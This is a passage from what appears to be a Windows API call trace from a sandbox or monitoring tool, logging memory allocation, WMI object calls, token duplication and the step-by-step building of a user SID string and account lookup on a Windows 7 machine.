DestroyEnvironmentBlock () returned 0x1 [0079.780] malloc (_Size=0x48) returned 0xed2c0 [0079.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x58852520, dwHighDateTime=0x1d9eb0c)) [0079.781] SetEvent (hEvent=0x1f0) returned 1 [0079.781] CloseHandle (hObject=0x234) returned 1 [0079.781] CloseHandle (hObject=0x244) returned 1 [0079.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0079.884] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0079.884] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0080.559] SetLastError (dwErrCode=0x0) [0080.559] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0080.559] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0080.559] SetLastError (dwErrCode=0x0) [0080.559] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0080.560] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0080.560] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0080.560] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0080.560] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0080.560] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0080.562] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0080.563] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0080.563] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0080.563] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0080.563] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0080.563] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0080.563] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0080.565] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0080.566] GetCurrentThread () returned 0xfffffffffffffffe [0080.566] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x244) returned 1 [0080.566] malloc (_Size=0xd8) returned 0xf3750 [0080.566] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0080.566] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0080.566] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0080.567] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0080.567] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0080.567] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0080.567] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0080.567] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0080.567] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0080.567] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0080.568] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0080.568] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0080.568] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0080.568] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0080.568] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0080.568] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0080.568] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0080.569] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0080.569] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0080.569] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0080.569] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0080.569] malloc (_Size=0x18) returned 0xeef20 [0080.569] DuplicateTokenEx (in: hExistingToken=0x244, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x234) returned 1 [0080.569] malloc (_Size=0x48) returned 0xed400 [0080.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x58fe8b40, dwHighDateTime=0x1d9eb0c)) [0080.569] SetEvent (hEvent=0x1f0) returned 1 [0080.574] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0080.574] GetLastError () returned 0x7a [0080.574] malloc (_Size=0x2c) returned 0xee200 [0080.574] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0080.574] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0080.574] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0080.574] malloc (_Size=0x1c) returned 0xeff60 [0080.574] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0080.574] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0080.574] malloc (_Size=0x18) returned 0xeef60 [0080.574] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0080.574] malloc (_Size=0x18) returned 0xeef00 [0080.574] malloc (_Size=0x18) returned 0xef040 [0080.574] SysStringLen (param_1="S-1-") returned 0x4 [0080.574] SysStringLen (param_1="5") returned 0x1 [0080.574] memcpy (in: _Dst=0x381358, _Src=0x381268, _Size=0xa | out: _Dst=0x381358) returned 0x381358 [0080.575] memcpy (in: _Dst=0x381360, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381360) returned 0x381360 [0080.575] free (_Block=0xeef60) [0080.575] free (_Block=0xeef00) [0080.575] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0080.575] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0080.575] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0080.575] malloc (_Size=0x18) returned 0xeef00 [0080.575] malloc (_Size=0x18) returned 0xeef60 [0080.575] SysStringLen (param_1="S-1-5") returned 0x5 [0080.575] SysStringLen (param_1="-") returned 0x1 [0080.575] memcpy (in: _Dst=0x3810e8, _Src=0x381358, _Size=0xc | out: _Dst=0x3810e8) returned 0x3810e8 [0080.575] memcpy (in: _Dst=0x3810f2, _Src=0x381268, _Size=0x4 | out: _Dst=0x3810f2) returned 0x3810f2 [0080.575] free (_Block=0xef040) [0080.575] free (_Block=0xeef00) [0080.575] malloc (_Size=0x18) returned 0xeef00 [0080.575] malloc (_Size=0x18) returned 0xef040 [0080.575] SysStringLen (param_1="S-1-5-") returned 0x6 [0080.575] SysStringLen (param_1="21") returned 0x2 [0080.575] memcpy (in: _Dst=0x381268, _Src=0x3810e8, _Size=0xe | out: _Dst=0x381268) returned 0x381268 [0080.575] memcpy (in: _Dst=0x381274, _Src=0x381358, _Size=0x6 | out: _Dst=0x381274) returned 0x381274 [0080.575] free (_Block=0xeef60) [0080.575] free (_Block=0xeef00) [0080.575] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0080.576] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0080.576] malloc (_Size=0x18) returned 0xeef00 [0080.576] malloc (_Size=0x18) returned 0xeef60 [0080.576] SysStringLen (param_1="S-1-5-21") returned 0x8 [0080.576] SysStringLen (param_1="-") returned 0x1 [0080.576] memcpy (in: _Dst=0x381358, _Src=0x381268, _Size=0x12 | out: _Dst=0x381358) returned 0x381358 [0080.576] memcpy (in: _Dst=0x381368, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381368) returned 0x381368 [0080.576] free (_Block=0xef040) [0080.576] free (_Block=0xeef00) [0080.576] malloc (_Size=0x18) returned 0xeef00 [0080.576] malloc (_Size=0x18) returned 0xef040 [0080.576] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0080.576] SysStringLen (param_1="4219442223") returned 0xa [0080.576] memcpy (in: _Dst=0x337698, _Src=0x381358, _Size=0x14 | out: _Dst=0x337698) returned 0x337698 [0080.576] memcpy (in: _Dst=0x3376aa, _Src=0x381268, _Size=0x16 | out: _Dst=0x3376aa) returned 0x3376aa [0080.576] free (_Block=0xeef60) [0080.576] free (_Block=0xeef00) [0080.576] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0080.576] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0080.576] malloc (_Size=0x18) returned 0xeef00 [0080.576] malloc (_Size=0x18) returned 0xeef60 [0080.576] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0080.576] SysStringLen (param_1="-") returned 0x1 [0080.576] memcpy (in: _Dst=0x338318, _Src=0x337698, _Size=0x28 | out: _Dst=0x338318) returned 0x338318 [0080.577] memcpy (in: _Dst=0x33833e, _Src=0x381358, _Size=0x4 | out: _Dst=0x33833e) returned 0x33833e [0080.577] free (_Block=0xef040) [0080.577] free (_Block=0xeef00) [0080.577] malloc (_Size=0x18) returned 0xeef00 [0080.577] malloc (_Size=0x18) returned 0xef040 [0080.577] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0080.577] SysStringLen (param_1="4223814209") returned 0xa [0080.577] memcpy (in: _Dst=0x34d958, _Src=0x338318, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0080.577] memcpy (in: _Dst=0x34d980, _Src=0x381358, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0080.577] free (_Block=0xeef60) [0080.577] free (_Block=0xeef00) [0080.577] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0080.577] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0080.577] malloc (_Size=0x18) returned 0xeef00 [0080.577] malloc (_Size=0x18) returned 0xeef60 [0080.577] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0080.577] SysStringLen (param_1="-") returned 0x1 [0080.577] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x3e | out: _Dst=0x34dc88) returned 0x34dc88 [0080.577] memcpy (in: _Dst=0x34dcc4, _Src=0x381358, _Size=0x4 | out: _Dst=0x34dcc4) returned 0x34dcc4 [0080.577] free (_Block=0xef040) [0080.577] free (_Block=0xeef00) [0080.577] malloc (_Size=0x18) returned 0xeef00 [0080.577] malloc (_Size=0x18) returned 0xef040 [0080.578] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0080.578] SysStringLen (param_1="3835049652") returned 0xa [0080.578] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0080.578] memcpy (in: _Dst=0x34d996, _Src=0x381358, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0080.578] free (_Block=0xeef60) [0080.578] free (_Block=0xeef00) [0080.578] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0080.578] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0080.578] malloc (_Size=0x18) returned 0xeef00 [0080.578] malloc (_Size=0x18) returned 0xeef60 [0080.578] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0080.578] SysStringLen (param_1="-") returned 0x1 [0080.578] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x54 | out: _Dst=0x34dc88) returned 0x34dc88 [0080.578] memcpy (in: _Dst=0x34dcda, _Src=0x381358, _Size=0x4 | out: _Dst=0x34dcda) returned 0x34dcda [0080.578] free (_Block=0xef040) [0080.578] free (_Block=0xeef00) [0080.578] malloc (_Size=0x18) returned 0xeef00 [0080.578] malloc (_Size=0x18) returned 0xef040 [0080.578] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0080.578] SysStringLen (param_1="1000") returned 0x4 [0080.578] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0080.578] memcpy (in: _Dst=0x34d9ac, _Src=0x381358, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0080.578] free (_Block=0xeef60) [0080.578] free (_Block=0xeef00) [0080.579] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0080.579] malloc (_Size=0x5e) returned 0xf0800 [0080.579] free (_Block=0xef040) [0080.579] malloc (_Size=0x18) returned 0xef040 [0080.579] free (_Block=0xf0800) [0080.579] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0080.580] GetLastError () returned 0x7a [0080.580] malloc (_Size=0x14) returned 0xeef00 [0080.580] malloc (_Size=0x16) returned 0xeef60 [0080.580] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebcca4, ReferencedDomainName=0xeef60, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0080.581] malloc (_Size=0x18) returned 0xef020 [0080.581] malloc (_Size=0x18) returned 0xef0a0 [0080.581] free (_Block=0xeef00) [0080.581] free (_Block=0xeef60) [0080.581] free (_Block=0xeff60) [0080.581] free (_Block=0xef0a0) [0080.581] free (_Block=0xef020) [0080.581] free (_Block=0xef040) [0080.582] free (_Block=0xee200) [0080.582] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0080.582] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0080.582] GetLastError () returned 0x7a [0080.582] malloc (_Size=0x2c) returned 0xee240 [0080.582] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0080.582] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0080.583] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0080.583] malloc (_Size=0x1c) returned 0xeff60 [0080.583] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0080.583] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0080.583] malloc (_Size=0x18) returned 0xef040 [0080.583] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0080.583] malloc (_Size=0x18) returned 0xef020 [0080.583] malloc (_Size=0x18) returned 0xef0a0 [0080.583] SysStringLen (param_1="S-1-") returned 0x4 [0080.583] SysStringLen (param_1="5") returned 0x1 [0080.583] memcpy (in: _Dst=0x381268, _Src=0x3810e8, _Size=0xa | out: _Dst=0x381268) returned 0x381268 [0080.583] memcpy (in: _Dst=0x381270, _Src=0x381358, _Size=0x4 | out: _Dst=0x381270) returned 0x381270 [0080.583] free (_Block=0xef040) [0080.583] free (_Block=0xef020) [0080.583] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0080.583] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0080.583] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0080.583] malloc (_Size=0x18) returned 0xef020 [0080.583] malloc (_Size=0x18) returned 0xef040 [0080.583] SysStringLen (param_1="S-1-5") returned 0x5 [0080.583] SysStringLen (param_1="-") returned 0x1 [0080.583] memcpy (in: _Dst=0x381358, _Src=0x381268, _Size=0xc | out: _Dst=0x381358) returned 0x381358 [0080.584] memcpy (in: _Dst=0x381362, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381362) returned 0x381362 [0080.584] free (_Block=0xef0a0) [0080.584] free (_Block=0xef020) [0080.584] malloc (_Size=0x18) returned 0xef020 [0080.584] malloc (_Size=0x18) returned 0xef0a0 [0080.584] SysStringLen (param_1="S-1-5-") returned 0x6 [0080.584] SysStringLen (param_1="21") returned 0x2 [0080.584] memcpy (in: _Dst=0x3810e8, _Src=0x381358, _Size=0xe | out: _Dst=0x3810e8) returned 0x3810e8 [0080.584] memcpy (in: _Dst=0x3810f4, _Src=0x381268, _Size=0x6 | out: _Dst=0x3810f4) returned 0x3810f4 [0080.584] free (_Block=0xef040) [0080.584] free (_Block=0xef020) [0080.584] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0080.584] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0080.584] malloc (_Size=0x18) returned 0xef020 [0080.584] malloc (_Size=0x18) returned 0xef040 [0080.584] SysStringLen (param_1="S-1-5-21") returned 0x8 [0080.584] SysStringLen (param_1="-") returned 0x1 [0080.584] memcpy (in: _Dst=0x381268, _Src=0x3810e8, _Size=0x12 | out: _Dst=0x381268) returned 0x381268 [0080.584] memcpy (in: _Dst=0x381278, _Src=0x381358, _Size=0x4 | out: _Dst=0x381278) returned 0x381278 [0080.584] free (_Block=0xef0a0) [0080.584] free (_Block=0xef020) [0080.584] malloc (_Size=0x18) returned 0xef020 [0080.585] malloc (_Size=0x18) returned 0xef0a0 [0080.585] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0080.585] SysStringLen (param_1="4219442223") returned 0xa [0080.585] memcpy (in: _Dst=0x337698, _Src=0x381268, _Size=0x14 | out: _Dst=0x337698) returned 0x337698 [0080.585] memcpy (in: _Dst=0x3376aa, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x3376aa) returned 0x3376aa [0080.585] free (_Block=0xef040) [0080.585] free (_Block=0xef020) [0080.585] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0080.585] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0080.585] malloc (_Size=0x18) returned 0xef020 [0080.585] malloc (_Size=0x18) returned 0xef040 [0080.585] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0080.585] SysStringLen (param_1="-") returned 0x1 [0080.585] memcpy (in: _Dst=0x338318, _Src=0x337698, _Size=0x28 | out: _Dst=0x338318) returned 0x338318 [0080.585] memcpy (in: _Dst=0x33833e, _Src=0x381268, _Size=0x4 | out: _Dst=0x33833e) returned 0x33833e [0080.585] free (_Block=0xef0a0) [0080.585] free (_Block=0xef020) [0080.585] malloc (_Size=0x18) returned 0xef020 [0080.585] malloc (_Size=0x18) returned 0xef0a0 [0080.585] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0080.585] SysStringLen (param_1="4223814209") returned 0xa [0080.585] memcpy (in: _Dst=0x34dc88, _Src=0x338318, _Size=0x2a | out: _Dst=0x34dc88) returned 0x34dc88 [0080.585] memcpy (in: _Dst=0x34dcb0, _Src=0x381268, _Size=0x16 | out: _Dst=0x34dcb0) returned 0x34dcb0 [0080.585] free (_Block=0xef040) [0080.586] free (_Block=0xef020) [0080.586] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0080.586] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0080.586] malloc (_Size=0x18) returned 0xef020 [0080.586] malloc (_Size=0x18) returned 0xef040 [0080.586] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0080.586] SysStringLen (param_1="-") returned 0x1 [0080.586] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0080.586] memcpy (in: _Dst=0x34d994, _Src=0x381268, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0080.586] free (_Block=0xef0a0) [0080.586] free (_Block=0xef020) [0080.586] malloc (_Size=0x18) returned 0xef020 [0080.586] malloc (_Size=0x18) returned 0xef0a0 [0080.586] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0080.586] SysStringLen (param_1="3835049652") returned 0xa [0080.586] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x40 | out: _Dst=0x34dc88) returned 0x34dc88 [0080.586] memcpy (in: _Dst=0x34dcc6, _Src=0x381268, _Size=0x16 | out: _Dst=0x34dcc6) returned 0x34dcc6 [0080.586] free (_Block=0xef040) [0080.586] free (_Block=0xef020) [0080.586] GetSidSubAuthority 